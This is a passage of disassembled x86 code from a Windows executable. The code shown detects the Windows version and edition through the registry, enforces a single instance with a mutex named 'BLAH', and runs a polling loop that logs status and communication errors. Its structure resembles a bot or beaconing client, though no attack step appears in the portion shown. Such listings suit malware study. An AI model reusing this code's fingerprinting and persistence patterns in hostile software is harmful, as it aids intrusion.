		push	offset aWindowsVista ; "Windows	Vista "
		jmp	short loc_404CB1
; ---------------------------------------------------------------------------


loc_404C37:				; CODE XREF: sub_404B2B+103j
		push	offset aWindowsServerL ; "Windows Server \"Longhorn\" "
		jmp	short loc_404CB1
; ---------------------------------------------------------------------------


loc_404C3E:				; CODE XREF: sub_404B2B+EEj
		cmp	dword ptr [ebp-0A4h], 5
		jnz	short loc_404CA0
		cmp	dword ptr [ebp-0A0h], 2
		jnz	short loc_404C81
		push	59h
		call	dword_41C1B0	; GetSystemMetrics
		test	eax, eax
		jz	short loc_404C63
		push	offset aMicrosoftWindo ; "Microsoft Windows Server 2003	\"R2\" "
		jmp	short loc_404CAE
; ---------------------------------------------------------------------------


loc_404C63:				; CODE XREF: sub_404B2B+12Fj
		cmp	byte ptr [ebp-0Eh], 1
		jnz	short loc_404C7A
		cmp	word ptr [ebp-0CCh], 9
		jnz	short loc_404C7A
		push	offset aMicrosoftWin_0 ; "Microsoft Windows XP Professional x64	E"...
		jmp	short loc_404CAE
; ---------------------------------------------------------------------------


loc_404C7A:				; CODE XREF: sub_404B2B+13Cj
					; sub_404B2B+146j
		push	offset aMicrosoftWin_1 ; "Microsoft Windows Server 2003, "
		jmp	short loc_404CAE
; ---------------------------------------------------------------------------


loc_404C81:				; CODE XREF: sub_404B2B+123j
		cmp	dword ptr [ebp-0A0h], 1
		jnz	short loc_404C91
		push	offset aMicrosoftWin_2 ; "Microsoft Windows XP "
		jmp	short loc_404CAE
; ---------------------------------------------------------------------------


loc_404C91:				; CODE XREF: sub_404B2B+15Dj
		cmp	[ebp-0A0h], ebx
		jnz	short loc_404CB7
		push	offset aMicrosoftWin_3 ; "Microsoft Windows 2000 "
		jmp	short loc_404CAE
; ---------------------------------------------------------------------------


loc_404CA0:				; CODE XREF: sub_404B2B+11Aj
		cmp	dword ptr [ebp-0A4h], 4
		ja	short loc_404CB7
		push	offset aMicrosoftWin_4 ; "Microsoft Windows NT "


loc_404CAE:				; CODE XREF: sub_404B2B+136j
					; sub_404B2B+14Dj ...
		lea	eax, [ebp+8]


loc_404CB1:				; CODE XREF: sub_404B2B+10Aj
					; sub_404B2B+111j
		push	eax
		call	sub_401C66


loc_404CB7:				; CODE XREF: sub_404B2B+F6j
					; sub_404B2B+16Cj ...
		test	edi, edi
		mov	ebx, dword_41C008
		mov	esi, 200h
		jz	loc_404E14
		cmp	byte ptr [ebp-0Eh], 1
		jnz	short loc_404D0E
		cmp	word ptr [ebp-0CCh], 9
		jz	loc_404F09
		cmp	dword ptr [ebp-0A4h], 4
		lea	eax, [ebp+8]
		jnz	short loc_404CF4
		push	offset aWorkstation4_0 ; "Workstation 4.0 "
		jmp	loc_404E09
; ---------------------------------------------------------------------------


loc_404CF4:				; CODE XREF: sub_404B2B+1BDj
		test	[ebp-10h], si
		jz	short loc_404D04
		push	offset aHomeEdition ; "Home Edition "
		jmp	loc_404E09
; ---------------------------------------------------------------------------


loc_404D04:				; CODE XREF: sub_404B2B+1CDj
		push	offset aProfessional ; "Professional "
		jmp	loc_404E09
; ---------------------------------------------------------------------------


loc_404D0E:				; CODE XREF: sub_404B2B+1A3j
		cmp	byte ptr [ebp-0Eh], 3
		jz	short loc_404D1E
		cmp	byte ptr [ebp-0Eh], 2
		jnz	loc_404F09


loc_404D1E:				; CODE XREF: sub_404B2B+1E7j
		cmp	dword ptr [ebp-0A4h], 5
		jnz	loc_404DF4
		cmp	dword ptr [ebp-0A0h], 2
		jnz	loc_404DC7
		cmp	word ptr [ebp-0CCh], 6
		jnz	short loc_404D60
		test	byte ptr [ebp-10h], 80h
		jz	short loc_404D4F
		push	offset aDatacenterEdit ; "Datacenter Edition for Itanium-based Sy"...
		jmp	short loc_404D9C
; ---------------------------------------------------------------------------


loc_404D4F:				; CODE XREF: sub_404B2B+21Bj
		test	byte ptr [ebp-10h], 2
		jz	loc_404F9A
		push	offset aEnterpriseEdit ; "Enterprise Edition for Itanium-based Sy"...
		jmp	short loc_404D9C
; ---------------------------------------------------------------------------


loc_404D60:				; CODE XREF: sub_404B2B+215j
		cmp	word ptr [ebp-0CCh], 9
		jnz	short loc_404D91
		test	byte ptr [ebp-10h], 80h
		lea	eax, [ebp+8]
		jz	short loc_404D7D
		push	offset aDatacenterX64E ; "Datacenter x64 Edition "
		jmp	loc_404E09
; ---------------------------------------------------------------------------


loc_404D7D:				; CODE XREF: sub_404B2B+246j
		test	byte ptr [ebp-10h], 2
		jz	short loc_404D8A
		push	offset aEnterpriseX64E ; "Enterprise x64 Edition "
		jmp	short loc_404E09
; ---------------------------------------------------------------------------


loc_404D8A:				; CODE XREF: sub_404B2B+256j
		push	offset aStandardX64Edi ; "Standard x64 Edition "
		jmp	short loc_404E09
; ---------------------------------------------------------------------------


loc_404D91:				; CODE XREF: sub_404B2B+23Dj
		test	byte ptr [ebp-10h], 80h
		jz	short loc_404DA1
		push	offset aDatacenterEd_0 ; "Datacenter Edition "


loc_404D9C:				; CODE XREF: sub_404B2B+222j
					; sub_404B2B+233j
		lea	eax, [ebp+8]
		jmp	short loc_404E09
; ---------------------------------------------------------------------------


loc_404DA1:				; CODE XREF: sub_404B2B+26Aj
		test	byte ptr [ebp-10h], 2
		lea	eax, [ebp+8]
		jz	short loc_404DB1
		push	offset aEnterpriseEd_0 ; "Enterprise Edition "
		jmp	short loc_404E09
; ---------------------------------------------------------------------------


loc_404DB1:				; CODE XREF: sub_404B2B+27Dj
		test	word ptr [ebp-10h], 400h
		jz	short loc_404DC0
		push	offset aWebEdition ; "Web Edition "
		jmp	short loc_404E09
; ---------------------------------------------------------------------------


loc_404DC0:				; CODE XREF: sub_404B2B+28Cj
		push	offset aStandardEditio ; "Standard Edition "
		jmp	short loc_404E09
; ---------------------------------------------------------------------------


loc_404DC7:				; CODE XREF: sub_404B2B+207j
		cmp	dword ptr [ebp-0A0h], 0
		jnz	short loc_404DF4
		test	byte ptr [ebp-10h], 80h
		lea	eax, [ebp+8]
		jz	short loc_404DE0
		push	offset aDatacenterServ ; "Datacenter Server "
		jmp	short loc_404E09
; ---------------------------------------------------------------------------


loc_404DE0:				; CODE XREF: sub_404B2B+2ACj
		test	byte ptr [ebp-10h], 2
		jz	short loc_404DED
		push	offset aAdvancedServer ; "Advanced Server "
		jmp	short loc_404E09
; ---------------------------------------------------------------------------


loc_404DED:				; CODE XREF: sub_404B2B+2B9j
		push	offset aServer	; "Server "
		jmp	short loc_404E09
; ---------------------------------------------------------------------------


loc_404DF4:				; CODE XREF: sub_404B2B+1FAj
					; sub_404B2B+2A3j
		test	byte ptr [ebp-10h], 2
		lea	eax, [ebp+8]
		jz	short loc_404E04
		push	offset aServer4_0Enter ; "Server 4.0, Enterprise Edition "
		jmp	short loc_404E09
; ---------------------------------------------------------------------------


loc_404E04:				; CODE XREF: sub_404B2B+2D0j
		push	offset aServer4_0 ; "Server 4.0	"


loc_404E09:				; CODE XREF: sub_404B2B+1C4j
					; sub_404B2B+1D4j ...
		push	eax
		call	sub_401C66
		jmp	loc_404F09
; ---------------------------------------------------------------------------


loc_404E14:				; CODE XREF: sub_404B2B+199j
		lea	eax, [ebp+0]
		push	eax
		push	1
		push	0
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Produc"...
		push	80000002h
		call	ebx	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_404E40


loc_404E2C:				; CODE XREF: sub_404B2B+345j
					; sub_404B2B+34Aj
		mov	ecx, [ebp+2Ch]
		push	offset aUnknown	; "UNKNOWN"
		call	sub_401C44
		push	0
		jmp	loc_405068
; ---------------------------------------------------------------------------


loc_404E40:				; CODE XREF: sub_404B2B+2FFj
		push	50h
		pop	esi
		lea	eax, [ebp+4]
		push	eax
		lea	eax, [ebp-11Ch]
		push	eax
		push	0
		push	0
		push	offset aProducttype ; "ProductType"
		push	dword ptr [ebp+0]
		mov	[ebp+4], esi
		call	dword_41C010	; RegQueryValueExA
		push	dword ptr [ebp+0]
		mov	edi, eax
		call	dword_41C000	; RegCloseKey
		test	edi, edi
		jnz	short loc_404E2C
		cmp	[ebp+4], esi
		ja	short loc_404E2C
		mov	esi, dword_41C0A8
		lea	eax, [ebp-11Ch]
		push	eax
		push	offset aWinnt	; "WINNT"
		call	esi	; lstrcmpiA
		test	eax, eax
		jnz	short loc_404E96
		push	offset aWorkstation ; "Workstation "
		jmp	short loc_404EC6
; ---------------------------------------------------------------------------


loc_404E96:				; CODE XREF: sub_404B2B+362j
		lea	eax, [ebp-11Ch]
		push	eax
		push	offset aLanmannt ; "LANMANNT"
		call	esi	; lstrcmpiA
		test	eax, eax
		jnz	short loc_404EAF
		push	offset aServer	; "Server "
		jmp	short loc_404EC6
; ---------------------------------------------------------------------------


loc_404EAF:				; CODE XREF: sub_404B2B+37Bj
		lea	eax, [ebp-11Ch]
		push	eax
		push	offset aServernt ; "SERVERNT"
		call	esi	; lstrcmpiA
		test	eax, eax
		jnz	short loc_404ECF
		push	offset aAdvancedServer ; "Advanced Server "


loc_404EC6:				; CODE XREF: sub_404B2B+369j
					; sub_404B2B+382j
		lea	eax, [ebp+8]
		push	eax
		call	sub_401C66


loc_404ECF:				; CODE XREF: sub_404B2B+394j
		push	dword ptr [ebp-0A0h]
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-0A4h]
		push	offset aD_D	; "%d.%d "
		push	200h
		push	eax
		call	sub_40D9FB
		add	esp, 14h
		lea	eax, [ebp-31Ch]
		push	eax
		lea	eax, [ebp+8]
		push	eax
		call	sub_401C66
		mov	esi, 200h


loc_404F09:				; CODE XREF: sub_404B2B+1ADj
					; sub_404B2B+1EDj ...
		cmp	dword ptr [ebp-0A4h], 4
		jnz	loc_404F9A
		push	offset aServicePack6 ; "Service	Pack 6"
		lea	eax, [ebp-94h]
		push	eax
		call	dword_41C0A8	; lstrcmpiA
		test	eax, eax
		jnz	short loc_404F9A
		lea	eax, [ebp+4]
		push	eax
		push	1
		push	0
		push	offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...
		push	80000002h
		call	ebx	; RegOpenKeyExA
		test	eax, eax
		movzx	eax, word ptr [ebp-9Ch]
		push	eax
		jnz	short loc_404F63
		push	offset aServicePack6aB ; "Service Pack 6a (Build %d)"
		lea	eax, [ebp-31Ch]
		push	esi
		push	eax
		call	sub_40D9FB
		add	esp, 10h
		jmp	short loc_404F7F
; ---------------------------------------------------------------------------


loc_404F63:				; CODE XREF: sub_404B2B+41Fj
		lea	eax, [ebp-94h]
		push	eax
		push	offset aSBuildD	; "%s (Build %d)"
		lea	eax, [ebp-31Ch]
		push	esi
		push	eax
		call	sub_40D9FB
		add	esp, 14h


loc_404F7F:				; CODE XREF: sub_404B2B+436j
		lea	eax, [ebp-31Ch]
		push	eax
		lea	eax, [ebp+8]
		push	eax
		call	sub_401C66
		push	dword ptr [ebp+4]
		call	dword_41C000	; RegCloseKey
		jmp	short loc_404FCE
; ---------------------------------------------------------------------------


loc_404F9A:				; CODE XREF: sub_404B2B+228j
					; sub_404B2B+3E5j ...
		movzx	eax, word ptr [ebp-9Ch]
		push	eax
		lea	eax, [ebp-94h]
		push	eax
		push	offset aSBuildD	; "%s (Build %d)"
		lea	eax, [ebp-31Ch]
		push	esi
		push	eax
		call	sub_40D9FB
		add	esp, 14h
		lea	eax, [ebp-31Ch]
		push	eax
		lea	eax, [ebp+8]
		push	eax
		call	sub_401C66


loc_404FCE:				; CODE XREF: sub_404B2B+46Dj
		xor	ebx, ebx
		jmp	loc_40505B
; ---------------------------------------------------------------------------


loc_404FD5:				; CODE XREF: sub_404B2B+DAj
		cmp	dword ptr [ebp-0A4h], 4
		jnz	short loc_40505B
		cmp	[ebp-0A0h], ebx
		jnz	short loc_40500D
		push	offset aMicrosoftWin_5 ; "Microsoft Windows 95 "
		lea	eax, [ebp+8]
		push	eax
		call	sub_401C66
		cmp	byte ptr [ebp-93h], 43h
		jz	short loc_405006
		cmp	byte ptr [ebp-93h], 42h
		jnz	short loc_40505B


loc_405006:				; CODE XREF: sub_404B2B+4D0j
		push	offset aOsr2	; "OSR2	"
		jmp	short loc_405052
; ---------------------------------------------------------------------------


loc_40500D:				; CODE XREF: sub_404B2B+4B9j
		cmp	dword ptr [ebp-0A0h], 0Ah
		jnz	short loc_40503D
		push	offset aMicrosoftWin_6 ; "Microsoft Windows 98 "
		lea	eax, [ebp+8]
		push	eax
		call	sub_401C66
		cmp	byte ptr [ebp-93h], 41h
		jz	short loc_405036
		cmp	byte ptr [ebp-93h], 42h
		jnz	short loc_40505B


loc_405036:				; CODE XREF: sub_404B2B+500j
		push	offset aSe	; "SE "
		jmp	short loc_405052
; ---------------------------------------------------------------------------


loc_40503D:				; CODE XREF: sub_404B2B+4E9j
		cmp	dword ptr [ebp-0A0h], 5Ah
		jnz	short loc_40505B
		push	offset aMicrosoftWin_7 ; "Microsoft Windows Millennium Edition"
		jmp	short loc_405052
; ---------------------------------------------------------------------------


loc_40504D:				; CODE XREF: sub_404B2B+D3j
		push	offset aMicrosoftWin32 ; "Microsoft Win32s"


loc_405052:				; CODE XREF: sub_404B2B+4E0j
					; sub_404B2B+510j ...
		lea	eax, [ebp+8]
		push	eax
		call	sub_401C66


loc_40505B:				; CODE XREF: sub_404B2B+E1j
					; sub_404B2B+4A5j ...
		mov	ecx, [ebp+2Ch]
		lea	eax, [ebp+8]
		push	eax
		call	sub_401C1E


loc_405067:				; CODE XREF: sub_404B2B+93j
		push	ebx


loc_405068:				; CODE XREF: sub_404B2B+310j
		push	1
		lea	ecx, [ebp+8]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	eax, [ebp+2Ch]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	ebp, 24h
		leave
		retn	4
sub_404B2B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_405089	proc near		; CODE XREF: sub_402E1F+28p
		mov	eax, offset loc_41B65B
		call	sub_41AE44
		sub	esp, 74h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-10h], esp
		xor	esi, esi
		push	esi
		lea	ecx, [ebp-60h]
		mov	dword ptr [ebp-48h], 0Fh
		call	sub_401564
		push	offset aBlah	; "BLAH"
		push	1
		push	esi
		mov	[ebp-4], esi
		call	dword_41C0C8	; CreateMutexA
		cmp	eax, esi
		jz	short loc_4050D0
		call	dword_41C0A4	; RtlGetLastWin32Error
		cmp	eax, 0B7h
		jnz	short loc_4050D7


loc_4050D0:				; CODE XREF: sub_405089+38j
		push	esi
		call	dword_41C100	; ExitProcess


loc_4050D7:				; CODE XREF: sub_405089+45j
		call	sub_4047AC


loc_4050DC:				; CODE XREF: .vty:loc_4053EBj
		mov	edi, [ebp+8]
		lea	ebx, [edi+0D0h]
		mov	ecx, ebx
		mov	byte ptr [ebp-4], 1
		mov	[ebp-14h], ebx
		call	sub_40B642
		call	sub_40399B
		mov	esi, eax
		mov	eax, edi
		call	sub_403A28
		or	esi, eax
		call	sub_403B47
		or	esi, eax
		call	sub_401156
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_40511A
		mov	eax, [eax+4]
		jmp	short loc_40511D
; ---------------------------------------------------------------------------


loc_40511A:				; CODE XREF: sub_405089+8Aj
		add	eax, 4


loc_40511D:				; CODE XREF: sub_405089+8Fj
		push	10h
		push	eax
		xor	edi, edi
		lea	eax, [ebp-74h]
		inc	edi
		push	eax
		mov	[ebp-24h], edi
		mov	dword ptr [ebp-20h], 24h
		mov	dword ptr [ebp-7Ch], 1190006h
		mov	dword ptr [ebp-78h], 204h
		call	sub_410050
		add	esp, 0Ch
		push	0
		push	7
		push	5
		push	4
		lea	eax, [ebp-7Ch]
		push	eax
		mov	[ebp-64h], esi
		push	ebx
		lea	esi, [ebp-24h]
		call	sub_40BA6E
		add	esp, 18h
		lea	eax, [ebp-7Ch]
		push	eax
		call	sub_404B2B
		mov	byte ptr [ebp-4], 2
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_40517A
		mov	esi, [eax+4]
		jmp	short loc_40517D
; ---------------------------------------------------------------------------


loc_40517A:				; CODE XREF: sub_405089+EAj
		lea	esi, [eax+4]


loc_40517D:				; CODE XREF: sub_405089+EFj
		call	sub_4024A7
		push	esi
		push	offset aRunningOnS ; "Running on %s\n"
		push	eax
		push	4
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch
		push	0
		push	edi
		lea	ecx, [ebp-7Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4


loc_4051A3:				; CODE XREF: sub_405089+243j
		mov	eax, [ebp+8]
		mov	eax, [eax+78h]
		test	eax, eax
		jnz	short loc_4051B2
		push	2
		pop	esi
		jmp	short loc_4051B5
; ---------------------------------------------------------------------------


loc_4051B2:				; CODE XREF: sub_405089+122j
		mov	esi, [eax+14h]


loc_4051B5:				; CODE XREF: sub_405089+127j
		call	sub_4024A7
		push	esi
		lea	ecx, [ebp-7Ch]
		push	ecx
		mov	ebx, eax
		call	sub_401B38
		push	0FFFFFFFFh
		xor	ebx, ebx
		push	ebx
		push	eax
		lea	ecx, [ebp-60h]
		mov	byte ptr [ebp-4], 3
		call	sub_401315
		push	ebx
		push	1
		lea	ecx, [ebp-7Ch]
		mov	byte ptr [ebp-4], 1
		call	sub_4013C4
		mov	eax, [ebp-4Ch]
		cmp	eax, ebx
		jz	short loc_405217
		add	eax, 8
		cmp	dword ptr [ebp-48h], 10h
		mov	[ebp-28h], eax
		mov	eax, [ebp-5Ch]
		mov	dword ptr [ebp-2Ch], 5
		jnb	short loc_405207
		lea	eax, [ebp-5Ch]


loc_405207:				; CODE XREF: sub_405089+179j
		push	ebx
		push	eax
		push	dword ptr [ebp-14h]
		lea	esi, [ebp-2Ch]
		call	sub_40BA6E
		add	esp, 0Ch


loc_405217:				; CODE XREF: sub_405089+163j
		mov	eax, [ebp+8]
		cmp	[eax+50h], ebx
		jz	short loc_405227
		mov	eax, [eax+78h]
		cmp	[eax+18h], bl
		jz	short loc_405247


loc_405227:				; CODE XREF: sub_405089+194j
		push	8
		pop	eax
		push	ebx
		push	7
		push	eax
		push	ebx
		push	dword ptr [ebp-14h]
		lea	esi, [ebp-34h]
		mov	dword ptr [ebp-34h], 6
		mov	[ebp-30h], eax
		call	sub_40BA6E
		add	esp, 14h


loc_405247:				; CODE XREF: sub_405089+19Cj
		push	3
		pop	edi
		push	ebx
		push	7
		push	6
		push	edi
		push	4
		push	ebx
		push	dword ptr [ebp-14h]
		lea	esi, [ebp-3Ch]
		mov	[ebp-3Ch], edi
		mov	dword ptr [ebp-38h], 8
		call	sub_40BA6E
		add	esp, 1Ch
		cmp	eax, edi
		jnz	short loc_405291


loc_40526F:				; CODE XREF: sub_405089+206j
		mov	esi, [ebp+8]
		push	0EA60h
		push	dword ptr [esi+0D8h]
		call	dword_41C084	; WaitForSingleObject
		test	eax, eax
		jz	short loc_405294
		push	dword ptr [ebp-14h]
		call	sub_40B774
		jmp	short loc_40526F
; ---------------------------------------------------------------------------


loc_405291:				; CODE XREF: sub_405089+1E4j
		mov	esi, [ebp+8]


loc_405294:				; CODE XREF: sub_405089+1FCj
		lea	edi, [esi+0B8h]
		push	edi
		call	dword_41C070	; RtlEnterCriticalSection
		cmp	[esi+0A0h], ebx
		jz	short loc_4052BD
		add	esi, 98h
		push	esi
		push	dword ptr [ebp-14h]
		call	sub_40B7A2
		call	sub_4055A2


loc_4052BD:				; CODE XREF: sub_405089+21Ej
		push	edi
		call	dword_41C06C	; RtlLeaveCriticalSection
		push	32h
		call	dword_41C090	; Sleep
		jmp	loc_4051A3
sub_405089	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-1Ch]
		cmp	dword ptr [eax+14h], 0
		jz	short loc_4052FF
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_4052E5
		mov	eax, [eax+4]
		jmp	short loc_4052E8
; ---------------------------------------------------------------------------


loc_4052E5:				; CODE XREF: .vty:004052DEj
		add	eax, 4


loc_4052E8:				; CODE XREF: .vty:004052E3j
		push	eax
		push	offset aCommErrorS ; "Comm error: %s\n"
		call	sub_4024A7
		push	eax
		push	2
		pop	ecx
		call	sub_40195C
		add	esp, 0Ch


loc_4052FF:				; CODE XREF: .vty:004052D8j
		mov	edi, [ebp+8]
		mov	ebx, dword_41C070
		lea	eax, [edi+108h]
		push	eax
		call	ebx	; RtlEnterCriticalSection
		lea	esi, [edi+0F0h]
		jmp	short loc_405330
; ---------------------------------------------------------------------------


loc_405319:				; CODE XREF: .vty:00405349j
		push	0FFFFFFFFh
		push	dword ptr [edi+0D8h]
		call	dword_41C084	; WaitForSingleObject
		lea	eax, [edi+108h]
		push	eax
		call	ebx	; RtlEnterCriticalSection


loc_405330:				; CODE XREF: .vty:00405317j
		call	sub_405D42
		lea	eax, [edi+108h]
		push	eax
		call	dword_41C06C	; RtlLeaveCriticalSection
		cmp	dword ptr [edi+0DCh], 0
		jg	short loc_405319
		lea	eax, [edi+0B8h]
		push	eax
		mov	[ebp-18h], eax
		call	ebx	; RtlEnterCriticalSection
		mov	ebx, [edi+78h]
		test	ebx, ebx
		jz	short loc_405379
		lea	esi, [ebx+2Ch]
		call	sub_405AAC
		lea	esi, [ebx+1Ch]
		call	sub_405AAC
		push	ebx
		call	sub_40DD8A
		and	dword ptr [edi+78h], 0
		pop	ecx


loc_405379:				; CODE XREF: .vty:0040535Cj
		lea	esi, [edi+7Ch]
		mov	ebx, [esi+8]
		cmp	[esi+4], ebx
		jbe	short loc_405389
		call	sub_40DCFC


loc_405389:				; CODE XREF: .vty:00405382j
		mov	eax, [esi+4]
		cmp	eax, [esi+8]
		mov	[ebp-14h], eax
		jbe	short loc_40539C
		call	sub_40DCFC
		mov	eax, [ebp-14h]


loc_40539C:				; CODE XREF: .vty:00405392j
		push	ebx
		push	esi
		push	eax
		push	esi
		lea	eax, [ebp-44h]
		push	eax
		call	sub_405B80
		lea	esi, [edi+8Ch]
		call	sub_4055A2
		lea	esi, [edi+98h]
		call	sub_4055A2
		lea	esi, [edi+0A4h]
		call	sub_4057CC
		push	dword ptr [ebp-18h]
		and	dword ptr [edi+0B4h], 0
		call	dword_41C06C	; RtlLeaveCriticalSection
		push	493E0h
		call	dword_41C090	; Sleep
		mov	eax, offset loc_4053EB
		retn
; ---------------------------------------------------------------------------


loc_4053EB:				; DATA XREF: .vty:004053E5o
		jmp	loc_4050DC

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053F0	proc near		; CODE XREF: sub_402F64+9Ep
					; sub_402F64+AAp ...

var_20		= byte ptr -20h
var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		push	esi
		mov	esi, eax
		push	edi
		lea	eax, [ebp+var_18]
		mov	ecx, esi
		call	sub_405492
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_20]
		mov	ecx, esi
		call	sub_405472
		mov	edi, [eax]
		mov	ebx, [eax+4]
		lea	eax, [ebp+var_8]
		mov	ecx, esi
		call	sub_405472
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		push	ebx
		push	edi
		call	sub_405E8F
		push	ebx
		push	edi
		push	[ebp+var_C]
		mov	[ebp+var_4], eax
		push	[ebp+var_10]
		call	sub_405E8F
		mov	edi, [ebp+var_4]
		add	esp, 20h
		push	eax
		push	edi
		mov	ecx, esi
		call	sub_4014F5
		cmp	dword ptr [esi+18h], 10h
		jb	short loc_40545F
		mov	eax, [esi+4]
		jmp	short loc_405462
; ---------------------------------------------------------------------------


loc_40545F:				; CODE XREF: sub_4053F0+68j
		lea	eax, [esi+4]


loc_405462:				; CODE XREF: sub_4053F0+6Dj
		lea	ebx, [eax+edi]
		lea	edi, [ebp+var_10]
		call	sub_405E52
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4053F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_405472	proc near		; CODE XREF: sub_402BCF+D2p
					; sub_402BCF+ECp ...
		push	ebx
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+18h], 10h
		push	edi
		mov	edi, eax
		jb	short loc_405484
		mov	ebx, [esi+4]
		jmp	short loc_405487
; ---------------------------------------------------------------------------


loc_405484:				; CODE XREF: sub_405472+Bj
		lea	ebx, [esi+4]


loc_405487:				; CODE XREF: sub_405472+10j
		call	sub_405E52
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_405472	endp


; =============== S U B	R O U T	I N E =======================================



sub_405492	proc near		; CODE XREF: sub_402BCF+DFp
					; sub_4033DA+249p ...
		push	ebx
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+18h], 10h
		push	edi
		mov	edi, eax
		jb	short loc_4054A4
		mov	eax, [esi+4]
		jmp	short loc_4054A7
; ---------------------------------------------------------------------------


loc_4054A4:				; CODE XREF: sub_405492+Bj
		lea	eax, [esi+4]


loc_4054A7:				; CODE XREF: sub_405492+10j
		mov	ebx, [esi+14h]
		add	ebx, eax
		call	sub_405E52
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_405492	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054B7	proc near		; CODE XREF: sub_402E64+3Dp

var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [edi+14h]
		cmp	eax, 1
		push	ebx
		push	esi
		mov	[ebp+var_4], 2Eh
		jb	short loc_40551E
		dec	eax
		cmp	[ebp+arg_0], eax
		jnb	short loc_4054D2
		mov	eax, [ebp+arg_0]


loc_4054D2:				; CODE XREF: sub_4054B7+16j
		cmp	dword ptr [edi+18h], 10h
		lea	esi, [edi+4]
		jb	short loc_4054DF
		mov	ebx, [esi]
		jmp	short loc_4054E1
; ---------------------------------------------------------------------------


loc_4054DF:				; CODE XREF: sub_4054B7+22j
		mov	ebx, esi


loc_4054E1:				; CODE XREF: sub_4054B7+26j
		add	ebx, eax


loc_4054E3:				; CODE XREF: sub_4054B7+57j
		mov	al, [ebp+var_4]
		cmp	[ebx], al
		jnz	short loc_4054FD
		push	1
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		call	sub_40DED2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_405510


loc_4054FD:				; CODE XREF: sub_4054B7+31j
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_405507
		mov	eax, [esi]
		jmp	short loc_405509
; ---------------------------------------------------------------------------


loc_405507:				; CODE XREF: sub_4054B7+4Aj
		mov	eax, esi


loc_405509:				; CODE XREF: sub_4054B7+4Ej
		cmp	ebx, eax
		jz	short loc_40551E
		dec	ebx
		jmp	short loc_4054E3
; ---------------------------------------------------------------------------


loc_405510:				; CODE XREF: sub_4054B7+44j
		cmp	dword ptr [edi+18h], 10h
		jb	short loc_405518
		mov	esi, [esi]


loc_405518:				; CODE XREF: sub_4054B7+5Dj
		sub	ebx, esi
		mov	eax, ebx
		jmp	short loc_405521
; ---------------------------------------------------------------------------


loc_40551E:				; CODE XREF: sub_4054B7+10j
					; sub_4054B7+54j
		or	eax, 0FFFFFFFFh


loc_405521:				; CODE XREF: sub_4054B7+65j
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4054B7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405527	proc near		; CODE XREF: sub_402E64+86p
					; sub_402E64+D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	0
		mov	ecx, esi
		mov	dword ptr [esi+18h], 0Fh
		call	sub_401564
		push	[ebp+arg_8]
		mov	ecx, esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_401315
		mov	eax, esi
		leave
		retn	0Ch
sub_405527	endp


; =============== S U B	R O U T	I N E =======================================



sub_405555	proc near		; CODE XREF: sub_403151+171p
					; sub_4072C2+1Ap ...
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_40555F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40555F:				; CODE XREF: sub_405555+5j
		mov	eax, [eax+8]
		sub	eax, ecx
		push	5Ch
		cdq
		pop	ecx
		idiv	ecx
		retn
sub_405555	endp


; =============== S U B	R O U T	I N E =======================================



sub_40556B	proc near		; CODE XREF: sub_4027E7+FAp
					; sub_40B49B+198p ...
		cmp	dword ptr [esi], 0
		jnz	short loc_405575
		call	sub_40DCFC


loc_405575:				; CODE XREF: sub_40556B+3j
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+8]
		jb	short loc_405584
		call	sub_40DCFC


loc_405584:				; CODE XREF: sub_40556B+12j
		add	dword ptr [esi+4], 5Ch
		mov	eax, esi
		retn
sub_40556B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40558B	proc near		; CODE XREF: sub_40260A+80p
					; sub_40260A+8Bp ...
		push	esi
		mov	esi, eax
		call	sub_4055A2
		push	dword ptr [esi+4]
		call	sub_40DD8A
		and	dword ptr [esi+4], 0
		pop	ecx
		pop	esi
		retn
sub_40558B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055A2	proc near		; CODE XREF: sub_403151+AFp
					; sub_405089+22Fp ...

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [esi+4]
		push	ebx
		mov	ebx, [eax]
		mov	[eax], eax
